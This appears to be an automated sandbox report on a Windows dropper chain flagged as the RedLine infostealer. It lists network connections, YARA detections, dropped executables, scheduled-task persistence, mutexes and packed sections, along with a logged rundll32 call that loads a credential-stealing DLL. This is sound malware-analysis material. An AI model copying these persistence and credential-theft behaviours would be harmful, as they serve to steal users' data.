Source: unknown	HTTPS traffic detected: 40.126.29.15:443 -> 192.168.2.5:49801 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.29.15:443 -> 192.168.2.5:49806 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.5:49811 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.5.15:443 -> 192.168.2.5:49813 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.5:49825 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.5.15:443 -> 192.168.2.5:49827 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.29.15:443 -> 192.168.2.5:49840 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.5:49874 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.5.15:443 -> 192.168.2.5:49878 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.5:49923 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.5.15:443 -> 192.168.2.5:49925 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.189.173.25:443 -> 192.168.2.5:50555 version: TLS 1.2

Source: 831840b410.exe, 00000010.00000003.3086222866.0000000003789000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: _WINAPI_GETRAWINPUTDATA

memstr_3557b1e0-b

System Summary

Malicious sample detected (through community Yara rule)

Source: dump.pcap, type: PCAP	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
Source: 52.0.build12.exe.3c0000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
Source: 52.0.build12.exe.3c0000.0.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 00000034.00000000.3328661632.00000000003C2000.00000002.00000001.01000000.00000018.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
Source: C:\Users\user\AppData\Local\Temp\1000187001\build12.exe, type: DROPPED	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
Source: C:\Users\user\AppData\Local\Temp\1000187001\build12.exe, type: DROPPED	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\build12[1].exe, type: DROPPED	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\build12[1].exe, type: DROPPED	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: C:\Users\user\AppData\Local\Temp\1000187001\build12.exe, type: DROPPED	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
Source: C:\Users\user\AppData\Local\Temp\1000187001\build12.exe, type: DROPPED	Matched rule: Detects RedLine infostealer Author: ditekSHen

Binary is likely a compiled AutoIt script file

Source: 831840b410.exe, 00000010.00000002.3114626852.0000000000D62000.00000002.00000001.01000000.00000011.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_4225168b-d
Source: 831840b410.exe, 00000010.00000002.3114626852.0000000000D62000.00000002.00000001.01000000.00000011.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_d6ec061c-0
Source: 831840b410.exe, 0000001F.00000000.2949970716.0000000000D62000.00000002.00000001.01000000.00000011.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_529da930-c
Source: 831840b410.exe, 0000001F.00000000.2949970716.0000000000D62000.00000002.00000001.01000000.00000011.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_a690d9de-5
Source: 831840b410.exe, 0000002F.00000000.3200529574.0000000000D62000.00000002.00000001.01000000.00000011.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_8b2b90e1-e
Source: 831840b410.exe, 0000002F.00000000.3200529574.0000000000D62000.00000002.00000001.01000000.00000011.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_8a9ef8f4-3

PE file contains section with special chars

Source: SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	Static PE information: section name:
Source: SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	Static PE information: section name: .idata
Source: explorha.exe.0.dr	Static PE information: section name:
Source: explorha.exe.0.dr	Static PE information: section name: .idata
Source: amert[1].exe.6.dr	Static PE information: section name:
Source: amert[1].exe.6.dr	Static PE information: section name: .idata
Source: amert[1].exe.6.dr	Static PE information: section name:
Source: amert.exe.6.dr	Static PE information: section name:
Source: amert.exe.6.dr	Static PE information: section name: .idata
Source: amert.exe.6.dr	Static PE information: section name:
Source: random[1].exe0.6.dr	Static PE information: section name:
Source: random[1].exe0.6.dr	Static PE information: section name: .idata
Source: random[1].exe0.6.dr	Static PE information: section name:
Source: c884f8452a.exe.6.dr	Static PE information: section name:
Source: c884f8452a.exe.6.dr	Static PE information: section name: .idata
Source: c884f8452a.exe.6.dr	Static PE information: section name:
Source: sarra[1].exe.6.dr	Static PE information: section name:
Source: sarra[1].exe.6.dr	Static PE information: section name: .idata
Source: sarra[1].exe.6.dr	Static PE information: section name:
Source: chrosha.exe.14.dr	Static PE information: section name:
Source: chrosha.exe.14.dr	Static PE information: section name: .idata
Source: chrosha.exe.14.dr	Static PE information: section name:
Source: RageMP131.exe.20.dr	Static PE information: section name:
Source: RageMP131.exe.20.dr	Static PE information: section name: .idata
Source: RageMP131.exe.20.dr	Static PE information: section name:
Source: MPGPH131.exe.20.dr	Static PE information: section name:
Source: MPGPH131.exe.20.dr	Static PE information: section name: .idata
Source: MPGPH131.exe.20.dr	Static PE information: section name:

Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	File created: C:\Windows\Tasks\explorha.job	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000054001\amert.exe	File created: C:\Windows\Tasks\chrosha.job
Source: C:\Windows\System32\svchost.exe	File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	Code function: 0_2_00B85DC8	0_2_00B85DC8
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	Code function: 0_2_00BCA220	0_2_00BCA220
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	Code function: 0_2_00B84E60	0_2_00B84E60
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Code function: 2_2_0074A220	2_2_0074A220
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Code function: 2_2_00744330	2_2_00744330
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Code function: 2_2_007394E3	2_2_007394E3
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Code function: 2_2_00748DBB	2_2_00748DBB
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Code function: 2_2_00704E60	2_2_00704E60
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Code function: 2_2_00748669	2_2_00748669
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Code function: 2_2_00748EDB	2_2_00748EDB
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Code function: 2_2_007447C8	2_2_007447C8
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Code function: 3_2_0074A220	3_2_0074A220
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Code function: 3_2_00744330	3_2_00744330
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Code function: 3_2_007394E3	3_2_007394E3
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Code function: 3_2_00748DBB	3_2_00748DBB
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Code function: 3_2_00704E60	3_2_00704E60
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Code function: 3_2_00748669	3_2_00748669
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Code function: 3_2_00748EDB	3_2_00748EDB
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Code function: 3_2_007447C8	3_2_007447C8
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 11_2_00007FF848CC77F8	11_2_00007FF848CC77F8
Source: C:\Users\user\AppData\Local\Temp\1000054001\amert.exe	Code function: 14_2_003A6809	14_2_003A6809
Source: C:\Users\user\AppData\Local\Temp\1000054001\amert.exe	Code function: 14_2_003A707B	14_2_003A707B
Source: C:\Users\user\AppData\Local\Temp\1000054001\amert.exe	Code function: 14_2_003660E0	14_2_003660E0
Source: C:\Users\user\AppData\Local\Temp\1000054001\amert.exe	Code function: 14_2_003A24D0	14_2_003A24D0
Source: C:\Users\user\AppData\Local\Temp\1000054001\amert.exe	Code function: 14_2_003A2968	14_2_003A2968
Source: C:\Users\user\AppData\Local\Temp\1000054001\amert.exe	Code function: 14_2_0036CE00	14_2_0036CE00
Source: C:\Users\user\AppData\Local\Temp\1000054001\amert.exe	Code function: 14_2_003A7EB0	14_2_003A7EB0
Source: C:\Users\user\AppData\Local\Temp\1000054001\amert.exe	Code function: 14_2_00368310	14_2_00368310
Source: C:\Users\user\AppData\Local\Temp\1000054001\amert.exe	Code function: 14_2_003A6F5B	14_2_003A6F5B
Source: C:\Users\user\AppData\Local\Temp\1000054001\amert.exe	Code function: 14_2_00397780	14_2_00397780

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	Code function: String function: 00B99750 appears 122 times
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Code function: String function: 00719750 appears 244 times
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Code function: String function: 0071F620 appears 36 times

Source: C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 5596 -s 2132

Source: SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: dump.pcap, type: PCAP	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: 52.0.build12.exe.3c0000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: 52.0.build12.exe.3c0000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 00000034.00000000.3328661632.00000000003C2000.00000002.00000001.01000000.00000018.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: C:\Users\user\AppData\Local\Temp\1000187001\build12.exe, type: DROPPED	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: C:\Users\user\AppData\Local\Temp\1000187001\build12.exe, type: DROPPED	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\build12[1].exe, type: DROPPED	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\build12[1].exe, type: DROPPED	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: C:\Users\user\AppData\Local\Temp\1000187001\build12.exe, type: DROPPED	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: C:\Users\user\AppData\Local\Temp\1000187001\build12.exe, type: DROPPED	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073

Source: SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	Static PE information: Section: ZLIB complexity 0.9975808478552279
Source: explorha.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9975808478552279
Source: amert[1].exe.6.dr	Static PE information: Section: ZLIB complexity 0.9977240444214877
Source: amert[1].exe.6.dr	Static PE information: Section: fbupybke ZLIB complexity 0.9944582206191764
Source: amert.exe.6.dr	Static PE information: Section: ZLIB complexity 0.9977240444214877
Source: amert.exe.6.dr	Static PE information: Section: fbupybke ZLIB complexity 0.9944582206191764
Source: random[1].exe0.6.dr	Static PE information: Section: ZLIB complexity 0.9915700285291631
Source: c884f8452a.exe.6.dr	Static PE information: Section: ZLIB complexity 0.9915700285291631
Source: sarra[1].exe.6.dr	Static PE information: Section: ZLIB complexity 0.9915469146238377
Source: chrosha.exe.14.dr	Static PE information: Section: ZLIB complexity 0.9977240444214877
Source: chrosha.exe.14.dr	Static PE information: Section: fbupybke ZLIB complexity 0.9944582206191764
Source: RageMP131.exe.20.dr	Static PE information: Section: ZLIB complexity 0.9915700285291631
Source: MPGPH131.exe.20.dr	Static PE information: Section: ZLIB complexity 0.9915700285291631

Source: amert.exe.6.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: chrosha.exe.14.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: amert[1].exe.6.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: classification engine

Classification label: mal100.phis.troj.spyw.evad.winEXE@106/196@19/15

Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

File created: C:\Users\user\AppData\Roaming\a091ec0a6e2227

Jump to behavior

Source: C:\Windows\System32\rundll32.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\SyncRootManager
Source: C:\Users\user\AppData\Local\Temp\1000188001\build12.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4568:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2232:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Mutant created: \Sessions\1\BaseNamedObjects\a091ec0a6e22276a96a99c1d34ef679c
Source: C:\Users\user\AppData\Local\Temp\1000188001\build12.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7324:64:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7220:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2324:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	Mutant created: \Sessions\1\BaseNamedObjects\c1ec479e5342a25940592acf24703eb2
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess5596
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess4012
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7292:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5516:120:WilError_03
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess3436

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe

File created: C:\Users\user\AppData\Local\Temp\09fd851a4f

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1000187001\build12.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process Where SessionId='1'
Source: C:\Users\user\AppData\Local\Temp\1000187001\build12.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\1000187001\build12.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process Where SessionId='1'
Source: C:\Users\user\AppData\Local\Temp\1000188001\build12.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process Where SessionId='1'
Source: C:\Users\user\AppData\Local\Temp\1000188001\build12.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\1000188001\build12.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process Where SessionId='1'

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Process created: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\a091ec0a6e2227\cred64.dll, Main

Source: c884f8452a.exe, 00000014.00000003.2883884113.0000000005380000.00000004.00001000.00020000.00000000.sdmp, c884f8452a.exe, 00000014.00000002.3269708121.0000000000AA1000.00000040.00000001.01000000.00000014.sdmp, MPGPH131.exe, 0000001C.00000003.2928548272.0000000004FB0000.00000004.00001000.00020000.00000000.sdmp, MPGPH131.exe, 0000001C.00000002.3244160511.0000000000891000.00000040.00000001.01000000.00000015.sdmp, MPGPH131.exe, 0000001D.00000002.3252023529.0000000000891000.00000040.00000001.01000000.00000015.sdmp, MPGPH131.exe, 0000001D.00000003.2928357410.0000000004E00000.00000004.00001000.00020000.00000000.sdmp, c884f8452a.exe, 00000024.00000003.3049065543.00000000048F0000.00000004.00001000.00020000.00000000.sdmp, c884f8452a.exe, 00000024.00000002.3145142996.0000000000AA1000.00000040.00000001.01000000.00000014.sdmp, RageMP131.exe, 0000002D.00000003.3127053365.0000000005330000.00000004.00001000.00020000.00000000.sdmp, RageMP131.exe, 0000002D.00000002.3204405230.0000000000371000.00000040.00000001.01000000.00000017.sdmp	Binary or memory string: INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);
Source: c884f8452a.exe, 00000014.00000003.2883884113.0000000005380000.00000004.00001000.00020000.00000000.sdmp, c884f8452a.exe, 00000014.00000002.3269708121.0000000000AA1000.00000040.00000001.01000000.00000014.sdmp, MPGPH131.exe, 0000001C.00000003.2928548272.0000000004FB0000.00000004.00001000.00020000.00000000.sdmp, MPGPH131.exe, 0000001C.00000002.3244160511.0000000000891000.00000040.00000001.01000000.00000015.sdmp, MPGPH131.exe, 0000001D.00000002.3252023529.0000000000891000.00000040.00000001.01000000.00000015.sdmp, MPGPH131.exe, 0000001D.00000003.2928357410.0000000004E00000.00000004.00001000.00020000.00000000.sdmp, c884f8452a.exe, 00000024.00000003.3049065543.00000000048F0000.00000004.00001000.00020000.00000000.sdmp, c884f8452a.exe, 00000024.00000002.3145142996.0000000000AA1000.00000040.00000001.01000000.00000014.sdmp, RageMP131.exe, 0000002D.00000003.3127053365.0000000005330000.00000004.00001000.00020000.00000000.sdmp, RageMP131.exe, 0000002D.00000002.3204405230.0000000000371000.00000040.00000001.01000000.00000017.sdmp	Binary or memory string: UPDATE %Q.%s SET sql = sqlite_rename_table(sql, %Q), tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q AND (type='table' OR type='index' OR type='trigger');
